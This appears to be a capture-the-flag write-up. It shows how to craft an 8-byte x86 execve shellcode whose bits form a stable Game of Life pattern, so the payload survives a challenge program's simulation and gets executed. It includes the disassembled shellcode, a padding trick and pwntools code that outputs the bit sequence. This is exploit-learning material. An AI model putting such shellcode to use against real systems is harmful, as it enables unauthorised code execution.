The server runs a program (game of life) which has a board with cells (bits). After a fixed number
of iterations, the simulation stops and the program jumps to the first bit of the memory containing the board. We want to create an input which contains shellcode in this area after
iterations. Obviously, we could choose any shellcode, and run game of life backwards. Cool, let us do that then! Uh-oh, inverting game of life is in fact a very hard problem… so it is not really feasible 😦
What to do, then?
Game of life
Game of life a cellular automata, found by Jon Conway, and is based on the following rules:
- A cell is born if it has exactly 3 neighbours. Neighbors are defined as adjacent cells in vertical, horistontal and diagonal.
- A cell dies if it has less than two or more than three neighbors.
Stable code (still life)
Still life consists of cell structures with repeating cycles having period 1. Here are the building blocks I used to craft the shellcode.
Of course, the still life is invariant of rotation and mirroring.
Shellcode
So, I tried to find the shortest shellcode that would fit one line (110 bits). This one is 8 bytes. Great.
08048334 <main>: 8048334: 99 cltd 8048335: 6a 0b push $0xb 8048337: 58 pop %eax 8048338: 60 pusha 8048339: 59 pop %ecx 804833a: cd 80 int $0x80
In binary, this translates to:
000001101001100101101010000010110101100001100000010110011100110110000000
Ok, so we note that
110101 ... 01110
cannot be constructed by our building blocks (there most certainly exist such blocks, but I didn’t consider them). So, I use a padding trick. By inserting an operation which does nothing specific
10110011 00000000 mov bl,0x0
we are able to use the blocks given in previous section. This Python code gives the binary (still-life-solvable) sequence:
from pwn import * pad = '\xb3\x00' shellcode = '\x06\x99' + pad + '\x6a\x0b\x58\x60\x59' + pad + '\xcd\x80' binary_data = ''.join([bin(ord(opcode))[2:].zfill(8) for opcode in shellcode]) context(arch = 'i386', os = 'linux') print disasm(shellcode) print binary_data[0:110]
which is
0000011010011001101100110000000001101010000010110101100001100000010110011100110110000000
The following cellular automata is stable, and the first line contains our exploit:
As can be seen in the animation below, we have found a still-life shellcode.
When feeding it to the program, we find that it remains in memory after any number of iterations:
Nice! Unfortunately, the code did not give me a shell, but at least the intended code was executed. I had a lot of fun progressing this far 🙂